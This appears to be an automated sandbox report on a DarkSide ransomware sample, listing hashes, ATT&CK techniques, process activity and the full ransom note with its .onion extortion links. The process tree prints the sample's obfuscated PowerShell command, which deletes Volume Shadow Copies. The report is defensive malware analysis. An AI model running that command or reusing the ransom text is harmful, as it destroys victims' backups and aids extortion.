darkside | 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297

General

Target

9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Size

17KB
MD5

f87a2e1c3d148a67eaeb696b1ab69133
SHA1

d1dfe82775c1d698dd7861d6dfa1352a74551d35
SHA256

9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297
SHA512

e361811b07a66d9a784be37bdace0bdec9e11374083d7ccf7d9830e47a59afa8b9d12d80d4d47ea1932116354ad60bbc8ea6a6a265885d264b35486986415ea3
SSDEEP

384:SGyUrEk/yEoQE+yckIYN/pBa3AWK3T2oTboHblKR/:l4klFypIYFpB/x9ngb

Score

10^/10

darkside credential_access discovery execution ransomware spyware stealer upx

Malware Config

Extracted

Path

C:\Users\README.26adc34e.TXT

Family

darkside

Ransom Note

----------- [ Welcome to Dark ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 100 GB data. Example of data: - Accounting data - Executive data - Sales data - Customer Support data - Marketing data - Quality data - And more other... Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To give you universal decrypting tool for all encrypted files. - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68 When you open our website, put the following data in the input form: Key: pr9gzRnMz6qEwr6ovMT0cbjd9yT56NctfQZGIiVVLgo0ME2EQpAUyZucG9BLrOJjno5XLPvCN11TFfnlFHa42u5mJxoeR5k5RUgQAC1MC6LBUj4YOOAUyiBrR HQSUM3pzGoEPRVOzXSZ8YqkJyFL0TDFBbWaBKQDOSo9GzKKoVRQ0Eb02F5geTPkTAqZZSfSQ6PBBlTGPSgGe2kCyuwwp7lDmRSJlNnHssMMZHVhXzyZ6fxiBY gNiuusFK8JNI5nrtRPp3bMAc6OEddxfJWj6o2GT1Xg9j87Jp4Oyv43E1J61jLJAWBkmoBB3Gqv07mtyDW5PnmxBlNzABbLFEvJMQL23sR8nnw4svzcZHxrqD1 xRcxqyeKtsaQ5yqLvyQgMdnrI2QoCqkHYYUfBIzjO8BXyBZdmjHanXE57jdDAhjaDUUqfL917cCyJr1uwVR0Xj5lJXe8BIKHd3dFrz70CsIXFAhicOsBlFzIn daNcAXXyL8Fg1avIXOcuEkGRDXt8Cs8b3TAB6n4DrbLJdiFjECo8yCA9pxvzqjXatumUloblWFZaUoLVYzP !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC

http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (167) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2340	powershell.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2116-0-0x0000000000F30000-0x0000000000F40000-memory.dmp	upx
behavioral1/memory/2116-231-0x0000000000F30000-0x0000000000F40000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2116	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
2116	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
2340	powershell.exe
2116	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2116	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeSecurityPrivilege	2116	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeTakeOwnershipPrivilege	2116	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeLoadDriverPrivilege	2116	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeSystemProfilePrivilege	2116	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeSystemtimePrivilege	2116	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeProfSingleProcessPrivilege	2116	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeIncBasePriorityPrivilege	2116	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeCreatePagefilePrivilege	2116	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeBackupPrivilege	2116	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeRestorePrivilege	2116	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeShutdownPrivilege	2116	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeDebugPrivilege	2116	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeSystemEnvironmentPrivilege	2116	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeRemoteShutdownPrivilege	2116	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeUndockPrivilege	2116	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeManageVolumePrivilege	2116	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: 33	2116	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: 34	2116	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: 35	2116	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
Token: SeDebugPrivilege	2340	powershell.exe
Token: SeBackupPrivilege	3048	vssvc.exe
Token: SeRestorePrivilege	3048	vssvc.exe
Token: SeAuditPrivilege	3048	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2116 wrote to memory of 2340	2116	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe	29
PID 2116 wrote to memory of 2340	2116	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe	29
PID 2116 wrote to memory of 2340	2116	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe	29
PID 2116 wrote to memory of 2340	2116	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe	29

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
"C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2340

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3048

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

2

T1555

Credentials from Web Browsers

1

T1555.003

Windows Credential Manager

1

T1555.004

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Browser Information Discovery

1

T1217

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
8e9d8e14427045ad3832a84b3c8bf48a

SHA1
4775e7a76a79101e8fb48a67d8269070e3b84fc3

SHA256
12b7fbbffb183bf089b9bcf5222a9d9fbc83df3ab62c9368381262f82d32c468

SHA512
8281a86893359edc2b5909877770afdd4db1bc85f175a3dcbc8b20da44eb98a8303a259ee5f18653c90a062444c096a011acd986a01db4aaed84c29c47880af0

Download Submit
C:\Users\README.26adc34e.TXT

Filesize
2KB

MD5
25d0b19a0ec34a39dfa3e177866f01a3

SHA1
a3704d1f6499738ccd694bdd6008a850c6b2e453

SHA256
f030ee74e406acb06d43e73c5127df0206e8affc85b95e9895b100d89391dea8

SHA512
ede7562f04b5f9abf792196ae87d82e14d651dc70e9a5b5ec0e9cb14d13aba27f8ebfacda2191de48dff882131dfad8c7bad51e7fb89b71dd3bbe748adc77198

Download Submit
memory/2116-0-0x0000000000F30000-0x0000000000F40000-memory.dmp

Filesize
64KB

Download
memory/2116-231-0x0000000000F30000-0x0000000000F40000-memory.dmp

Filesize
64KB

Download
memory/2340-5-0x000007FEF5DFE000-0x000007FEF5DFF000-memory.dmp

Filesize
4KB

Download
memory/2340-6-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2340-7-0x0000000001F50000-0x0000000001F58000-memory.dmp

Filesize
32KB

Download
memory/2340-8-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download
memory/2340-9-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download
memory/2340-10-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download

Analysis

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